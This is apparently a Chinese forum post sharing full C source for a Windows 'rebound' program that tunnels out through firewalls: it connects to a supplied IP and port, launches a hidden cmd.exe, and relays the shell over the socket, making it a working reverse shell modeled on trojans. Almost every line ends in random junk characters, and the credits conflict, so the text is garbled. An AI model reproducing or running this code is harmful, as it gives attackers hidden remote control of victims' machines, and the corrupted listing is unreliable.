这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 n#B}p*G
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/* ============================== 'R99m?"
Rebound port in Windows NT %/ :&L+q
By wind,2006/7 Ds{bYK_y
===============================*/ ,wy;7T>ODd
#include Y@qugQM>
#include ^N`KT
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#pragma comment(lib,"wsock32.lib") w7 \vrS>&
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void OutputShell(); J?tnS6V
SOCKET sClient; 6="o&!
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \x5>H:\Y
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void main(int argc,char **argv) MJa`4[/
{ "#iO{uMWb
WSADATA stWsaData; Yq:/dpA_
int nRet; e-.(O8
SOCKADDR_IN stSaiClient,stSaiServer; 1f?Fuw
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if(argc != 3) `m$,8f%j6_
{ jwI1 I {x
printf("Useage:\n\rRebound DestIP DestPort\n"); -O?A"
return; <TSps!(#
} !>&G+R+k
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WSAStartup(MAKEWORD(2,2),&stWsaData); a
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^;?w<9Y
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stSaiClient.sin_family = AF_INET; ETR7%0$r
stSaiClient.sin_port = htons(0); ?zVcP=p@
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); B}aW y &D
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9<"F3F0|
{ Urksj:N
printf("Bind Socket Failed!\n"); nFro#qx
return; H)y_[:[
} =c]We:I
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stSaiServer.sin_family = AF_INET; vY[u;VU
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %f(4jQ0I
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _ -,[U{
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) MR,A{X
{ YeB C6`7y
printf("Connect Error!"); {yi!vw
return; #kJ8 qN
} 0t*PQ%
OutputShell(); '8I=Tn
} 7dlMDHp\Y
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void OutputShell() */vid(P77
{ Z$35`:x&h
char szBuff[1024]; w2U]RI\?2
SECURITY_ATTRIBUTES stSecurityAttributes; FE#|5;q.
OSVERSIONINFO stOsversionInfo; WJ 'lYl0+7
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]]5(:>l
STARTUPINFO stStartupInfo; TBHd)BhI.
char *szShell; 0
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PROCESS_INFORMATION stProcessInformation; H/*i-%]v+(
unsigned long lBytesRead; ")fgQ3XZ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); vJW`aN1<I3
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); m
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stSecurityAttributes.lpSecurityDescriptor = 0; P)ne^_
stSecurityAttributes.bInheritHandle = TRUE; -'i[/{
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]0{,P
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); GW9,%}l^;
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +^$;oG
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HS1{4/
stStartupInfo.wShowWindow = SW_HIDE; kC'm |Y@T
stStartupInfo.hStdInput = hReadPipe; jank<Q&w
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j\.e6&5%SS
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GetVersionEx(&stOsversionInfo); D9n+eZ
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switch(stOsversionInfo.dwPlatformId) T{BGg
{ A\ tBmL_s
case 1: ZV07;`I
szShell = "command.com"; y cWY.HD
break; u#->?
default: 0bGQO&s
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szShell = "cmd.exe"; C{6m?6
break; 2J`LZS
} 2[KHmdgtB
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \ow(4O#
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send(sClient,szMsg,77,0); _G)x\K]N
while(1) -1R7 8(1
{ Wx8;+!2Q/
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BJsN~`=r
if(lBytesRead) Q|g>ga-a
{ ^;Yjs.bI`F
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); FwQGxGZ
send(sClient,szBuff,lBytesRead,0); ;!m_RQPFF
} \,`iu=YZv
else /EvT%h?p
{ 6p14BruV
lBytesRead=recv(sClient,szBuff,1024,0); Rr\fw'
if(lBytesRead<=0) break; vE~<R
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4 @9cO)m
} Lf8{']3
} s1T}hp
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return; <-Ax)zE
}